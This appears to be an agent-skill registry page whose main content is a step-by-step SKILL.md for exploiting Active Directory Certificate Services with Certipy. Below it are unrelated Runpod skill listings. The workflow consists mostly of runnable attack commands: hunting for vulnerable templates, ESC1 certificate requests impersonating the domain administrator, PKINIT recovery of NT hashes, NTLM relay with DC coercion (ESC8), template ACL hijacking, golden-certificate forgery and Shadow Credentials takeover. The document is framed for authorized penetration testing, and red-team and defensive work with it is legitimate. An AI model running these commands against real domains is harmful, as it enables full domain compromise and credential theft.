AGENT SKILL

exploiting-adcs-with-certipy

Use Certipy to enumerate AD CS certificate authorities and templates over LDAP/RPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT/Schannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.

License 许可
Apache-2.0
最近更新
2026-09-11
Stars
★ 0
Forks
0

01 前言 Front Matter

name
exploiting-adcs-with-certipy
tags
[ "red-team", "active-directory", "adcs", "certipy", "esc1", "esc8", "privilege-escalation", "pkinit" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "PR.AA-05" ]
subdomain
red-teaming
description
Use Certipy to enumerate AD CS certificate authorities and templates over LDAP/RPC, then exploit ESC1-ESC16 misconfigurations - SAN abuse, NTLM relay to web enrollment (ESC8), Shadow Credentials, golden certificate forgery, and PKINIT/Schannel auth. Use during authorized penetration tests to escalate a domain foothold to Domain Admin, or to validate that certificate template ACLs and CA hardening detect these attacks.
mitre_attack
[ "T1649" ]

02 资源文件 4

03 SKILL.md 正文

Exploiting AD CS with Certipy

Legal Notice: This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.

Overview

Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper Certified Pre-Owned, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.

Certipy (package certipy-ad, maintained by Oliver Lyak / ly4k) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: ly4k/Certipy and SpecterOps "Certified Pre-Owned".

When to Use

  • During internal penetration tests and red-team engagements where AD CS is in scope
  • When a low-privileged domain foothold needs a path to Domain Admin / Domain Controller
  • To validate that certificate template ACLs and CA configuration are hardened
  • When testing detection coverage for certificate-based privilege escalation
  • During purple-team exercises to generate ESC1/ESC8 telemetry for blue-team tuning

Prerequisites

  • Authorized engagement scope that explicitly includes AD CS exploitation
  • A foothold: valid domain credentials (password, NT hash, or Kerberos ticket) for any low-privileged user
  • Network reachability to a Domain Controller (LDAP/389, LDAPS/636) and the CA host
  • Python 3.10+ (Certipy 5.x requires Python 3.12+) and a Linux attack host
  • Install Certipy:
    # Recommended isolated install
    pipx install certipy-ad
    # Or with pip
    pip install certipy-ad
    # Verify
    certipy --version
    
  • For ESC8 relay you also need a coercion tool (Coercer/PetitPotam) and reachable victim machine accounts

Objectives

  • Enumerate every CA, template, and enrollment endpoint in the forest
  • Identify which ESC1-ESC16 misconfigurations are exploitable from the current principal
  • Request a certificate impersonating a privileged target (ESC1 SAN abuse)
  • Relay coerced authentication into AD CS web enrollment to obtain a DC certificate (ESC8)
  • Authenticate with a forged/issued certificate to recover a TGT and NT hash
  • Document each finding with evidence and remediation guidance

MITRE ATT&CK Mapping

ID Technique Application in this skill
T1649 Steal or Forge Authentication Certificates Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals

Workflow

Step 1: Enumerate AD CS with certipy find

Collect CA and template configuration and flag vulnerable templates. find runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.

# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -text -enabled -hide-admins

# Output only templates Certipy considers vulnerable
certipy find \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

Review the [!] Vulnerabilities block in the output. Each finding is labeled ESC1...ESC16 with the affected template/CA name.

Step 2: Exploit ESC1 — Enrollee-Supplied Subject (SAN abuse)

ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).

certipy req \
    -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnUserTemplate' \
    -upn 'administrator@corp.local' \
    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx

Step 3: Authenticate with the certificate via certipy auth

Use the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator

If PKINIT is unavailable, fall back to Schannel/LDAP authentication:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell

Step 4: Exploit ESC8 — NTLM relay to AD CS Web Enrollment

ESC8 abuses the AD CS web enrollment interface (/certsrv/) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).

# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Certipy writes a dc.pfx. Authenticate as the DC machine account and DCSync:

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100

Step 5: Exploit ESC4 — Template ACL hijack

If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.

# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration

Step 6: Forge a Golden Certificate (post-compromise persistence)

With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.

# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
    -ca 'CORP-CA' -dc-ip 10.0.0.100

# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.local' \
    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

Step 7: Shadow Credentials shortcut

If you have write access to a target's msDS-KeyCredentialLink, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).

certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim-dc$'

Tools and Resources

Resource Purpose Link
Certipy (ly4k) Primary AD CS attack toolkit https://github.com/ly4k/Certipy
Certipy Wiki Command reference and ESC explanations https://github.com/ly4k/Certipy/wiki
Certified Pre-Owned (SpecterOps) Original ESC1-ESC8 research https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
The Hacker Recipes — AD CS Attack walkthroughs https://www.thehacker.recipes/ad/movement/ad-cs
Impacket ntlmrelayx Alternative ESC8 relay https://github.com/fortra/impacket

ESC Vulnerability Reference

ESC Misconfiguration
ESC1 Enrollee-supplied subject + Client Auth EKU on a low-priv template
ESC2 Any Purpose / no EKU template usable as enrollment agent
ESC3 Enrollment Agent template with loose enroll rights
ESC4 Write access over a template (hijack into ESC1)
ESC5 Weak ACLs on PKI objects (CA, NTAuthCertificates)
ESC6 CA EDITF_ATTRIBUTESUBJECTALTNAME2 allows arbitrary SAN
ESC7 Dangerous Manage CA / Manage Certificates permissions
ESC8 NTLM relay to AD CS HTTP web enrollment
ESC9 No security extension (szOID_NTDS_CA_SECURITY_EXT) on template
ESC10 Weak certificate mapping registry settings
ESC11 NTLM relay to AD CS RPC (ICertPassage) endpoint
ESC13 Issuance policy linked to a privileged group (OID group link)
ESC15 Application Policies abuse (CVE-2024-49019, "EKUwu")
ESC16 Security extension disabled CA-wide

Validation Criteria

  • [ ] certipy find -vulnerable ran and produced a list of exploitable templates/CAs
  • [ ] At least one ESC misconfiguration confirmed with a successful certipy req
  • [ ] certipy auth returned a TGT and NT hash for the impersonated privileged account
  • [ ] ESC8 relay (if in scope) yielded a Domain Controller certificate
  • [ ] Any modified template (ESC4) was restored to its original configuration
  • [ ] Each finding documented with command output, affected object, and remediation
  • [ ] Issued certificates and PFX files securely handled and removed at engagement close

04 同仓库更多 Skills

NeelakshSaxena
NeelakshSaxena/Vayu

runpodctl

Runpod CLI for managing GPU/CPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send/receive). Use for terminal/CI/scripting, Hub browse/deploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.

★ 0
NeelakshSaxena
NeelakshSaxena/Vayu

runpod

Start here for any Runpod task — running GPU/CPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.

★ 0
NeelakshSaxena
NeelakshSaxena/Vayu

runpod-usage

How Runpod works and how to work it — pods vs serverless, GPU/VRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv/apt). Use to answer "how does X work", "which GPU", "how do I build a container", or "how do I stand up a workload on a pod". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.

★ 0
NeelakshSaxena
NeelakshSaxena/Vayu

runpod-templates

Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says "run <X> on a pod" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.

★ 0
NeelakshSaxena
NeelakshSaxena/Vayu

runpod-migrate

Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.

★ 0
NeelakshSaxena
NeelakshSaxena/Vayu

runpod-mcp

Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU/CPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.

★ 0